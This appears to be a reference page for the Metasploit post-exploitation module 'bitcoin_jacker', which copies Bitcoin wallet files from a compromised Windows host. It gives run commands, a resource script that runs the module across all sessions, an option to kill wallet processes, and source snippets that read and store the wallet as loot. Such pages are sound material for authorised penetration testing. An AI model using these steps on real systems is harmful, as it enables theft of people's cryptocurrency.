Windows Gather Bitcoin Wallet - Metasploit


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Module Overview

Name: Windows Gather Bitcoin Wallet
Module: post/windows/gather/bitcoin_jacker
Source code: modules/post/windows/gather/bitcoin_jacker.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module downloads any Bitcoin wallet files from the target system. It currently supports both the classic Satoshi wallet and the more recent Armory wallets. Note that Satoshi wallets tend to be unencrypted by default, while Armory wallets tend to be encrypted by default.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/bitcoin_jacker

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/bitcoin_jacker
msf post(bitcoin_jacker) > show options
    ... show and set options ...
msf post(bitcoin_jacker) > set SESSION session-id
msf post(bitcoin_jacker) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/bitcoin_jacker")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/bitcoin_jacker post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/bitcoin_jacker

msf6 post(windows/gather/bitcoin_jacker) > show info

       Name: Windows Gather Bitcoin Wallet
     Module: post/windows/gather/bitcoin_jacker
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  illwill <[email protected]>
  todb <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  KILL_PROCESSES  false            no        Kill associated Bitcoin processes before jacking.
  SESSION                          yes       The session to run this module on.

Description:
  This module downloads any Bitcoin wallet files from the target 
  system. It currently supports both the classic Satoshi wallet and 
  the more recent Armory wallets. Note that Satoshi wallets tend to be 
  unencrypted by default, while Armory wallets tend to be encrypted by 
  default.

Module Options

This is a complete list of options available in the windows/gather/bitcoin_jacker post exploitation module:

msf6 post(windows/gather/bitcoin_jacker) > show options

Module options (post/windows/gather/bitcoin_jacker):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   KILL_PROCESSES  false            no        Kill associated Bitcoin processes before jacking.
   SESSION                          yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/bitcoin_jacker post exploitation module:

msf6 post(windows/gather/bitcoin_jacker) > show advanced

Module advanced options (post/windows/gather/bitcoin_jacker):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/bitcoin_jacker module can do:

msf6 post(windows/gather/bitcoin_jacker) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/bitcoin_jacker post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/bitcoin_jacker) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No wallets found, nothing to do.

Here is a relevant code snippet related to the "No wallets found, nothing to do." error message:

53:	        armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
54:	        jack_wallet(armory_wallet_fullpath)
55:	      end
56:	    end
57:	    unless found_wallets
58:	      print_warning "No wallets found, nothing to do."
59:	    end
60:	  end
61:	
62:	  def jack_wallet(wallet_path)
63:	    data = ""

Unknown wallet type: <WALLET_PATH>, nothing to do.

Here is a relevant code snippet related to the "Unknown wallet type: <WALLET_PATH>, nothing to do." error message:

69:	                  else
70:	                    :unknown
71:	                  end
72:	
73:	    if wallet_type == :unknown
74:	      print_error "Unknown wallet type: #{wallet_path}, nothing to do."
75:	      return
76:	    end
77:	
78:	    print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
79:	    print_status("Jackin' wallet...")

Failed to download <WALLET_PATH>: <E.CLASS> <E>

Here is a relevant code snippet related to the "Failed to download <WALLET_PATH>: <E.CLASS> <E>" error message:

81:	    kill_bitcoin_processes if datastore['KILL_PROCESSES']
82:	
83:	    begin
84:	      data = read_file(wallet_path) || ''
85:	    rescue ::Exception => e
86:	      print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
87:	      return
88:	    end
89:	
90:	    if data.empty?
91:	      print_error("No data found, nothing to save.")

No data found, nothing to save.

Here is a relevant code snippet related to the "No data found, nothing to save." error message:

86:	      print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
87:	      return
88:	    end
89:	
90:	    if data.empty?
91:	      print_error("No data found, nothing to save.")
92:	    else
93:	      loot_result = store_loot(
94:	        "bitcoin.wallet.#{wallet_type}",
95:	        "application/octet-stream",
96:	        session,

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See Also

Check also the following modules related to this module:

Authors

  • illwill <illwill[at]illmob.org>
  • todb

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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